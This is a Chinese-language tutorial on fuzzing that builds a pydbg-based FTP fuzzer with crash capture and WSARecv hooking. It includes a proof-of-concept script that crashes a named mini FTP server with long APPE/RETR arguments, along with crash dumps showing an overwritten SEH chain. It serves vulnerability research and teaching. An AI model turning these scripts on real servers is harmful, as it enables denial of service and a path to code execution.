提起模糊測試時我們在說什麼
0x00 基礎知識
一:區分
我們常說的漏洞挖掘,大致可以分為兩種模式:白盒、黑盒.
1.白盒,又稱透明盒測試,指我們清楚的瞭解程式的邏輯,獲得設計思路,說明文件,原始碼的情況下進行的測試.
優點:準確率高,定位到可能存在的漏洞位置處,能清楚的看到前後邏輯.
缺點:過於複雜,在程式碼量巨大的情況下,手工尋找要付出相當的精力,網傳winNt4.0洩露過原始碼,但並未出現因該次洩露而導致的漏洞.
2.黑盒,又稱功能測試,指在完全不瞭解內部資訊的情況下進行碰撞測試
優點:可用性、重現性高,完全針對功能的測試,不同於白盒,在原始碼中實現漏洞函式細節但並未呼叫的情況,編譯器會最佳化掉這個函式,也就是這個功能並不可用.
缺點:高誤報,捕捉異常麻煩
二:fuzz的侷限性
我們根據自己的經驗編寫相應的規則,白盒時,例如搜尋gets、strcpy、fgets、memcpy等函式,然後向上回溯,如上所說,有可能函式並未呼叫過,亦或在上層呼叫之前已經做了限制,例如:
#!c
#include <string.h>
void test(char *arr){
char buffer[10];
strcpy(buffer,arr);
}
int main(int argc,char **argv){
if(length(argv[1])<=10)
test(argv[1]);
}
在黑盒時,例如出現越權漏洞、作者自留後門、多階漏洞,我們手工測試可以精準的判斷,換成程式的視角,這就是一個正常的功能,造成誤報
0x01 fuzz的各階段
- 確定目標
- 細化規則確定發包資料
- 發包
- 異常捕獲
- hook api定位poc
一:模糊測試器的型別
常見的有命令列引數fuzz、環境變數fuzz、檔案fuzz、網路協議fuzz、記憶體fuzz等
命令列引數就是上面的程式碼例子,環境變數fuzz,這個就是getenv("aaa"); 兩種思路,不停的重寫aaa變數的值和重啟目標程式,第二點是必須的,第一點的改進思路hook getenv,重新實現一個getenv函式.
檔案fuzz:覆蓋性的寫入資料,如果不讀檔案格式的說明文件,按位元組覆蓋,工作量巨大,有些檔案格式會進行CRC效驗,例如png檔案格式.就像溢位保護的/gs選項.
網路協議fuzz:協議即傳輸資料的標準,資料本質上是01,根據協議對每個位置的劃分來確定不同位置資料的意義,我們把這些位置稱為塊,塊內的資料以key:value的方式儲存,像是堆塊中塊首一樣,有特定的位置標註資料的大小,client按協議格式發包後,server端根據協議解析,假如隨意修改了資料卻沒有修改塊大小,server端就無法正確識別資料.
協議也分兩種:簡單文字協議、二進位制協議
簡單協議通訊的資料在可列印字元範圍內,人工可閱讀,例如ftp、http協議
#!bash
[[email protected] ~]# nc www.xxx.com 80
GET / HTTP/1.1
Host: xxx.com
Referrer: google.com
User-Agent: wooyun
HTTP/1.1 200 OK
...
複雜如tcp/ip協議的NBNS,wireshark本身支援的協議比較多,或是本身公開或是逆向工程,將資料解析成肉眼可閱讀的格式.
當面對複雜且閉源的協議,對其fuzz首要工作就是逆向工程,為此出現了記憶體形式的fuzz,直接在程式的記憶體空間裡進行模糊測試
有如上程式碼,無限迴圈接受請求,在記憶體空間定位到parse之前插入資料而不必關心資料在recv之前是如何封裝的,缺陷就是漏洞場景可能無法重現
二:細化規則和發包
除去記憶體fuzz,發包方式分兩種:直接傳送跟代理傳送.第二種也叫啟發式fuzz,wireshark可解析的情況下,針對特定欄位fuzz
流程圖如下:
本文以簡單協議的ftp fuzz為例,瓶頸出現在發包過程中,要考慮server端的頻寬和上游isp的響應速度,好在可以把server部署在本地.
以覆蓋緩衝區為目的,擷取不同長度的資料來發包,資料內容不能出現在使用者層的記憶體地址,
我們喜聞樂見的棧溢位發生時會丟擲記憶體地址讀取或寫入違例的異常,假如eip指向使用者層內的地址可能不會丟擲異常.
這裡我們就用一串A來測試.
三:異常捕獲
設想我們有一個長度為10的陣列,陣列內每組資料長度不同,以遞增方式儲存,假設第4組資料長度剛好溢位緩衝區丟擲異常,模糊測試器沒有異常捕獲功能,直到發包完畢後才停止,那麼我們只能確定測試目標存在漏洞,如何精準定位資料長度呢?
常見的捕獲方式有三種:
- 監視事件日誌.
- 心跳包檢測.
- 偵錯程式
大多數情況我們推薦用成熟的偵錯程式(例如OD)attach目標程式,程式崩潰時能清楚的觀察上下文,堆疊回溯定位漏洞位置,配合wireshark能清楚的看到發包資料,或者在模糊測試器內嵌異常捕獲功能:
- CreateProcessA包含Debug_PROCESS標誌來建立除錯態的程式,WaitForDebugEvent獲取訊號,程式觸發異常會傳送訊號給模糊測試器
- DebugActiveProcess附加到相應程式上,同WaitForDebugEvent,再另外起執行緒去發包
DEBUG_EVENT結構:
#!c
typedef struct _DEBUG_EVENT {
DWORD dwDebugEventCode;
DWORD dwProcessId;
DWORD dwThreadId;
union {
EXCEPTION_DEBUG_INFO Exception;
CREATE_THREAD_DEBUG_INFO CreateThread;
CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
EXIT_THREAD_DEBUG_INFO ExitThread;
EXIT_PROCESS_DEBUG_INFO ExitProcess;
LOAD_DLL_DEBUG_INFO LoadDll;
UNLOAD_DLL_DEBUG_INFO UnloadDll;
OUTPUT_DEBUG_STRING_INFO DebugString;
RIP_INFO RipInfo;
} u;
} DEBUG_EVENT,
*LPDEBUG_EVENT;
dwDebugEventCode值資訊
#!bash
1 u.Exception
2 u.Create Thread
3 u.CreateProcessInfo
4 u.ExitThread
5 u.ExitProcess
6 u.LoadDll
7 u.UnloadDll
8 u.DebugString
9 u.RipInfo
無限迴圈,WaitForDebugEvent每隔100毫秒獲取一次除錯訊號,捕捉到異常訊號並處理完畢後,ContinueDebugEvent允許執行緒繼續執行.ContinueDebugEvent DBG_CONTINUE將控制權還給程式,DBG_EXCEPTION_NOT_HANDLED相反
看起來實現了一個不優雅的回撥
#!c
//some code
void OnException(const EXCEPTION_DEBUG_INFO*);
BOOL waitEvent = TRUE;
DEBUG_EVENT debugEvent;
while (waitEvent == TRUE && WaitForDebugEvent(&debugEvent, 100)) {
switch (debugEvent.dwDebugEventCode) {
case EXCEPTION_DEBUG_EVENT:
OnException(&debugEvent.u.Exception);
break;
default:
std::wcout << TEXT("Unknown debug event.") << std::endl;
break;
}
if (waitEvent == TRUE) {
ContinueDebugEvent(debugEvent.dwProcessId, debugEvent.dwThreadId, DBG_CONTINUE);
}
else {
break;
}
}
//some code
每種除錯事件的具體資訊用u來索引,例如dwDebugEventCode值為1,那麼就是u.Exception,EXCEPTION_DEBUG_INFO結構中dwFirstChange用來判斷首輪異常還是末輪異常,dwFirstChange不為零,代表首輪,這意味著觸發異常時程式中的異常處理器還未接管.
如下程式碼,假如此處strcpy發生溢位,但忽略了首輪異常,except進行了處理,我們的偵錯程式就無法捕捉
#!c
void test(){
__try{
strcpy(aaa,bbb);
}
__except(...){
printf(...);
}
}
之後還有獲取上下文動作、讀取記憶體動作、棧展開等,毫無疑問要花費相當的精力,幸運的pydbg模組已經幫封裝了大多數的功能.
pydbg的安裝網上有教程,我這裡用python2.7.8 32bit正常安裝
python -m pydoc pydbg
或者help(pydbg)
檢視相關介紹.
測試軟體用的光刃前輩之前挖掘的"守望迷你ftp伺服器"漏洞,測試exp:
#!python
import sys,socket
def main():
ip,port,user,password=sys.argv[1:]
shellcodeTest=['A'*500]
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((ip,int(port)))
s.recv(4096)
s.send('USER'+' '+str(user)+'\r\n')
s.recv(4096)
s.send('PASS'+' '+str(password)+'\r\n')
s.recv(4096)
s.send('APPE'+' '+shellcodeTest[0]+'\r\n')
s.recv(4096)
s.send('QUIT'+' '+'\r\n')
s.close()
if __name__ == '__main__':
main()
先捕捉異常試一下,test code:
#!python
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pydbg import *
from pydbg.defines import *
import utils
import sys
def accessViolationCallback(debugger):
if debugger.dbg.u.Exception.dwFirstChance:
print debugger.disasm(debugger.context.Eip)
#debugger.terminate_process()
return DBG_EXCEPTION_NOT_HANDLED
#if DBG_EXCEPTION_NOT_HANDLED then seh->veh->kill
def main():
debugger=pydbg()
flag=0
targetProgramName=u'守望迷你ftp伺服器.exe'
#enumerate process.filter target ftp program
for (pid, name ) in debugger.enumerate_processes():
if name ==targetProgramName.encode('gbk') :
# name.encode('gbk')... windows font format.. you know...
debugger.attach(pid)
flag=1
print "[*] attaching to program with pid %d " %pid
if flag==0:
print "[*] target program not found\n"
sys.exit(-1)
debugger.set_callback(EXCEPTION_ACCESS_VIOLATION, accessViolationCallback)
#raise EXCEPTION_ACCESS_VIOLATION,Callback "accessViolationCallback" func
debugger.run()
if __name__ == '__main__':
main()
看效果:
上面的utils模組的功能就是記錄當前執行緒的狀態,包括異常型別、上下文、異常地址、棧展開、seh鏈等
捕捉首輪異常的第一個異常(下一個異常覆蓋eip,現在已經覆蓋了seh chain),建立一個例項後,record_crash列印執行緒狀態概要資訊,terminate_process結束程式
#!python
def crashInfo(debugger):
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(debugger)
return crash_bin.crash_synopsis()
def accessViolationCallback(debugger):
if debugger.dbg.u.Exception.dwFirstChance:
print debugger.disasm(debugger.context.Eip)
print crashInfo(debugger)
debugger.terminate_process()
return DBG_EXCEPTION_NOT_HANDLED
#if DBG_EXCEPTION_NOT_HANDLED then seh->veh->kill
檢視效果
#!bash
[*] attaching to program with pid 476
mov [edi],edx
msvcrt.dll:77c12131 mov [edi],edx from thread 1708 caused access violati
when attempting to write to 0x00130000
CONTEXT DUMP
EIP: 77c12131 mov [edi],edx
EAX: 7efefefe (2130640638) -> N/A
EBX: 00000000 ( 0) -> N/A
ECX: 0012fe0c ( 1244684) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
EDX: 41414141 (1094795585) -> N/A
EDI: 0012ffff ( 1245183) -> Actx L| 4d[IY-2(0pSsHd,,ZZ (stack)
ESI: 030e88b8 ( 51284152) -> C:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap)
EBP: 0012dbf8 ( 1235960) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
ESP: 0012d7e8 ( 1234920) -> RAhfC:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA (stack)
+00: 00000000 ( 0) -> N/A
+04: 00410952 ( 4262226) -> uEuuPVr;uEu^^EuPuuV;Et&9_ u!hQuuVujW3;t}
'+=HiujW3Et1u}VW!VhQjVuS)VsE$Eu (守望迷你ftp伺服器.exe.data)
+08: 0012d9f8 ( 1235448) -> AAAC:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
+0c: 0012d804 ( 1234948) -> C:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
+10: 00de6668 ( 14575208) -> fgh_uasortTH_GREGOR`TTbR=CRG9^ATRRhfaOPg
TH_GREGOR`TTbRWCR (heap)
+14: 00000000 ( 0) -> N/A
disasm around:
0x77c1211b jz 0x77c12136
0x77c1211d mov dl,[ecx]
0x77c1211f inc ecx
0x77c12120 test dl,dl
0x77c12122 jz 0x77c12188
0x77c12124 mov [edi],dl
0x77c12126 inc edi
0x77c12127 test ecx,0x3
0x77c1212d jnz 0x77c1211d
0x77c1212f jmp 0x77c12136
0x77c12131 mov [edi],edx
0x77c12133 add edi,0x4
0x77c12136 mov edx,0x7efefeff
0x77c1213b mov eax,[ecx]
0x77c1213d add edx,eax
0x77c1213f xor eax,0xffffffff
0x77c12142 xor eax,edx
0x77c12144 mov edx,[ecx]
0x77c12146 add ecx,0x4
0x77c12149 test eax,0x81010100
0x77c1214e jz 0x77c12131
SEH unwind:
41414141 -> [INVALID]:41414141 Unable to disassemble at 41414141
ffffffff -> [INVALID]:ffffffff Unable to disassemble at ffffffff
四:hook api實現資料包列印
首先檢視是用的哪個dll的匯出函式
這裡可以看到用了ws2_32和wsock32,hook wsock32 recv
0x71A42E9E位置呼叫了ws2_32的WSARecv函式,bp ws2_32.WSARecv
檢視資料包結尾標誌,這裡是'\x0D',讀記憶體程式碼大致如下:
#!python
buffer=''
while 1:
byte = dbg.read_process_memory( aaa + offset, 1 )
if byte != '\x0D':
buffer += byte
offset += 1
continue
else:
break
print buffer
看WSARecv的結構
#!c
int WSARecv(
_In_ SOCKET s,
_Inout_ LPWSABUF lpBuffers,
_In_ DWORD dwBufferCount,
_Out_ LPDWORD lpNumberOfBytesRecvd,
_Inout_ LPDWORD lpFlags,
_In_ LPWSAOVERLAPPED lpOverlapped,
_In_ LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
);
斷在WSARecv上
lpOverlapped is null,那麼就是說為阻塞式,可以直接hook
跟蹤recv
在recv結束後ebx的值為BUFFER,緩衝區的資料會寫入BUFFER指向的位置,所以在該api結束時callback即可
func_resolve_debug獲得地址,建立一個container容器,原始碼上有example:
hook引數格式:hook.add(pydbg例項,要鉤住的api,地址,接受的引數數量,呼叫時的callback,結束時的callback)
發包USER 1 PASS 1 APPE AAAAA效果如下:
現在加上發包行為,當程式溢位時,最後一個列印出來的包就是poc了
發500長度資料包,hook recv,列印最後poc,然後覆蓋緩衝區,觸發異常,看效果:
現在需要做的就是在程式內內嵌一個發包動作了
五:發包
這裡要注意win下多執行緒socket recv的問題,假如非阻塞的情況,接受不到資料就會觸發異常.
可能是由於多執行緒的原因,讀記憶體時偶爾會觸發bug,想來是A執行緒讀記憶體時B執行緒在相同的位置進行寫入動作,本來嘛,python多執行緒就不是同步的,加上ReadProcessMemory和WriteProcessMemory應該有鎖,我又給每個執行緒加上了休眠動作,感覺應該可以了,結果gg... 最後在讀記憶體語句加上了互斥鎖才得以解決.
重要的地方都註釋了,完整的程式碼:
#!python
#!/usr/bin/env python
# -*- coding:utf-8 -*-
try:
from pydbg import *
from pydbg.defines import *
import utils
except:
print 'pydbg or utils install error'
from ctypes import *
import sys
import random
import socket
import getopt
import Queue
import threading
import time
gLock=threading.Lock()
#global mutex lock
def crashInfo(debugger):
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(debugger)
return crash_bin.crash_synopsis()
def accessViolationCallback(debugger):
if debugger.dbg.u.Exception.dwFirstChance:
print debugger.disasm(debugger.context.Eip)
print crashInfo(debugger)
debugger.terminate_process()
return DBG_EXCEPTION_NOT_HANDLED
#if DBG_EXCEPTION_NOT_HANDLED then seh->veh->kill
def loadDllCallback(debugger):
global hooks,flag
if flag:
hookAddress=debugger.func_resolve_debuggee('ws2_32.dll','WSARecv')
#getModuleHandleA -> getProcAddress -> closeHandle
if hookAddress:
hooks.add(debugger,hookAddress,4,exit_hook=readProcessMemory)
print '[*] hook ws2_32.dll revc 0x%08x success\n' % hookAddress
flag=0
return DBG_CONTINUE
def readProcessMemory(debugger,args,ret):
#time.sleep(random.uniform(0,0.05))
try:
print '[*] recving...\n'
buffer = ""
offset = 0
ebxAddress=debugger.context.Ebx
#the recv after get ebx address
while 1:
gLock.acquire()
#threading read memory + write memory can error,so use mutex
byte = debugger.read_process_memory( ebxAddress + offset, 1 )
gLock.release()
if byte!='\x0D':
buffer += byte
offset += 1
continue
else:
break
except:
pass
print buffer
return DBG_CONTINUE
def initialiationThread(ip,user,password,port):
fuzzCommand=['LIST','APPE','RAW','RSET','XPWD','ALLO',
'CWD','ACCT','CDUP','DELE','HELP','MKD','MODE','NLST',
'NOOP','PASV','PORT','PWD','XRMD','RETR','RMD','RNFR',
'RNTO','SITE','SMNT','STOR','STRU','SYST','TYPE','AUTH',
'HOST','LANG','MDTM','OPTS','SIZE CHMOD','SIZE CHOWN','SIZE EXEC',
'SITE INDEX','SIZE PSWD','SIZE ZONE','SIZE WHO','XCUP','XCWD']
queue=Queue.Queue()
[queue.put(i) for i in fuzzCommand]
threadList=[]
for i in xrange(0,20):
t=threading.Thread(target=multiThread,args=(queue,ip,user,password,port,))
threadList.append(t)
for i in threadList:
i.start()
for i in threadList:
i.join(random.uniform(0,0.03))
def multiThread(queue,ip,user,password,port):
#time.sleep(random.uniform(1,3))
time.sleep(10)
#sleep 10s ,control -> main,else recv raise except
bufferString=['A'*25*(i+1) for i in xrange(30)]
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((ip,int(port)))
print 'ccccccccc'
s.recv(1024)
while not queue.empty():
#if queue is null, not while conditional,then GIL pause.
ftpCommand=queue.get(block=False)
for i in bufferString:
s.send('USER'+' '+str(user)+'\r\n')
s.recv(1024)
s.send('PASS'+' '+str(password)+'\r\n')
s.recv(1024)
s.send(ftpCommand+' '+i+'\r\n')
s.recv(1024)
except socket.error,Queue.Empty:
#queue.queue.clear()
print 'ftp didn\'t response'
except Exception,e:
print e
finally:
s.close()
#because other thread may not spark except,so finally s.close()
def getArgv():
try:
options,args = getopt.getopt(sys.argv[1:],'hi:u:p:P:',['help','ip=','user=','pass=','port='])
if len(options)==0:
raise Exception
except Exception,e:
usage()
for name,value in options:
if name in ('-h','--help'):
usage()
if name in ('-i','--ip'):
ip=value
if name in ('-u','--user'):
user=value
if name in ('-p','--pass'):
password=value
if name in ('-P','--port'):
port=value
initialiationThread(ip,user,password,port)
def usage():
print '[*] python fuzz.py -i 127.0.0.1 -u test -p test -P 21'
print '[*] python fuzz.py --ip 127.0.0.1 --user test --pass test --port 21'
print '[*] thanks bstaint'
print '[*] author pr0mise'
sys.exit(-1)
def main():
getArgv()
print '\n'
debugger=pydbg()
targetProgramName=u'守望迷你ftp伺服器.exe'
global hooks,flag
flag=0
hooks = utils.hook_container()
#enumerate process.filter target ftp program
for (pid, name ) in debugger.enumerate_processes():
if name ==targetProgramName.encode('gbk') :
# name.encode('gbk')... windows font format.. you know...
debugger.attach(pid)
flag=1
print '[*] attaching to program with pid %d ' %pid
if flag==0:
print '[*] target program not found\n'
sys.exit(-1)
debugger.set_callback(EXCEPTION_ACCESS_VIOLATION, accessViolationCallback)
#raise EXCEPTION_ACCESS_VIOLATION,Callback "accessViolationCallback" func
debugger.set_callback(LOAD_DLL_DEBUG_EVENT, loadDllCallback)
#the LoadLibrary('dll') after callback loadDllCallback func
debugger.run()
if __name__ == '__main__':
main()
執行:
#!bash
RETR mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmm
mov [edi],edx
msvcrt.dll:77c12131 mov [edi],edx from thread 692 caused access violation
when attempting to write to 0x00130000
CONTEXT DUMP
EIP: 77c12131 mov [edi],edx
EAX: 7efefefe (2130640638) -> N/A
EBX: 00000000 ( 0) -> N/A
ECX: 0012fe0c ( 1244684) -> mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmC:\mm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm (stack)
EDX: 6d6d6d6d (1835887981) -> N/A
EDI: 0012ffff ( 1245183) -> Actx L| 4d[IY-2(0pSsHd,,ZZ (stack)
ESI: 030f4cf8 ( 51334392) -> C:/mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm (heap)
EBP: 0012decc ( 1236684) -> mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm (stack)
ESP: 0012dabc ( 1235644) -> RAhfC:\mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmm (stack)
+00: 00000000 ( 0) -> N/A
+04: 00410952 ( 4262226) -> uEuuPVr;uEu^^EuPuuV;Et&9_ u!hQuuVujW3;t}EwEuPEP
'+=HiujW3Et1u}VW!VhQjVuS)VsE$Eu (守望迷你ftp伺服器.exe.data)
+08: 0012dccc ( 1236172) -> mmmC:\mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm (stack)
+0c: 0012dad8 ( 1235672) -> C:\mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm (stack)
+10: 00de6668 ( 14575208) -> fgh_uasortTH_GREGOR`TTbR=CRG9^ATRRhfaOPggfuksor
TH_GREGOR`TTbRWCR (heap)
+14: 00000000 ( 0) -> N/A
disasm around:
0x77c1211b jz 0x77c12136
0x77c1211d mov dl,[ecx]
0x77c1211f inc ecx
0x77c12120 test dl,dl
0x77c12122 jz 0x77c12188
0x77c12124 mov [edi],dl
0x77c12126 inc edi
0x77c12127 test ecx,0x3
0x77c1212d jnz 0x77c1211d
0x77c1212f jmp 0x77c12136
0x77c12131 mov [edi],edx
0x77c12133 add edi,0x4
0x77c12136 mov edx,0x7efefeff
0x77c1213b mov eax,[ecx]
0x77c1213d add edx,eax
0x77c1213f xor eax,0xffffffff
0x77c12142 xor eax,edx
0x77c12144 mov edx,[ecx]
0x77c12146 add ecx,0x4
0x77c12149 test eax,0x81010100
0x77c1214e jz 0x77c12131
SEH unwind:
6d6d6d6d -> [INVALID]:6d6d6d6d Unable to disassemble at 6d6d6d6d
ffffffff -> [INVALID]:ffffffff Unable to disassemble at ffffffff
ftp didn't response
ftp didn't response
ftp didn't response
可以看到fuzz出RETR命令傳送長資料包可導致溢位,前面的文章介紹過,配合mona找到剛好覆蓋到seh chain的位置,改一下exp.py就可以執行shellcode了.
文章到此結束,紕漏之處 歡迎諸君批評、斧正.
特別感謝bstaint表哥和趙中老師的幫助.
0x02 參考文件
- 《模糊測試-強制發覺安全漏洞的利器》
- 《python灰帽子》
- http://pedramamini.com/PaiMei/heap_trace/hook_container.py
- http://bbs.pediy.com/showthread.php?t=151870
相關文章
- 當我們說外掛系統的時候,我們在說什麼2023-03-15
- 當我們說一款遊戲“涼涼”時,我們在說什麼?2020-05-25遊戲
- 當我們說開放世界的時候,我們到底在說些什麼?2019-08-16
- 當提到“事件驅動”時,我們在說什麼?2019-03-13事件
- 當我們談論Promise時,我們說些什麼2019-03-04Promise
- 當我們討論TCP的連線運輸管理時,我們在說什麼2019-02-16TCP
- 當我們談論Virtual DOM時,我們在說什麼——etch原始碼解讀2019-02-21原始碼
- 當我們在談論極簡時,我們在談論什麼2019-01-26
- 當我們談論MOD時,我們在談論什麼?2020-05-20
- 當我們聊kubernetes operator時,我們在聊些什麼2019-05-17
- 提起“縫合怪”,除了抄襲,我們還能聊什麼?2020-04-23
- 當我們在討論遊戲社群時,我們在討論什麼?2019-09-16遊戲
- 當我們在聊 RN 時,我們在聊什麼 | 技術點評2021-03-06
- 當我們在談論HTTP快取時我們在談論什麼2018-06-11HTTP快取
- 當我們在談零信任時,我們談的是什麼?2021-08-13
- 當我們在說“併發、多執行緒”,說的是什麼?2019-03-05執行緒
- 當我們談論格鬥遊戲時,我們在談論什麼2020-01-06遊戲
- 當我們在說賽季制地緣戰略遊戲時 我們的標準究竟是什麼2020-10-27遊戲
- 當我討論遊戲是否“好玩”時我在說什麼?2019-11-29遊戲
- 說到遊戲的文化適配,我們在聊什麼?2020-05-15遊戲
- 劇情策劃在幹什麼?說說我們的職能與定位2020-07-31
- 當我們在談論建構函式注入的時候我們在談論什麼2023-11-01函式
- 當我們談 Java 併發的時候,你們在談什麼?2018-08-02Java
- 當我們談優化時,我們談些什麼2019-06-12優化
- 遊戲的特質:當我們說“play”的時候,究竟在說什麼?2021-05-10遊戲
- 當我們在談論VR敘事的時候,我們究竟在談論什麼?2019-10-22VR
- 在阿里,我們如何管理測試環境2019-01-28阿里
- 從爬⾏到奔跑 - 我們為什麼需要單元測試?2023-09-22
- 我們常說的 CAS 自旋鎖是什麼2019-01-19
- 當我們擔心人工智慧時,我們擔心什麼?2019-07-01人工智慧
- 當我們談深度學習時,我們用它落地了什麼?2018-08-05深度學習
- 當我們談論Spring的時候到底在談什麼2024-03-22Spring
- 【iOS】當我們在application:DidFinishLaunchWithOptions:中返回NO時會發生什麼2020-10-19iOSAPP
- 我們真的知道測試行業的內卷是什麼嗎?2020-10-05行業
- 失格與超越:當我們在體驗遊戲世界的劇情時,我們想要什麼?2019-11-21遊戲
- 為什麼我們說區塊鏈沒有那麼容易?2019-11-11區塊鏈
- 孩子們,為什麼我建議你一定要會介面測試?2019-05-08
- 作為技術面試官,我在面試時考慮什麼?2019-10-21面試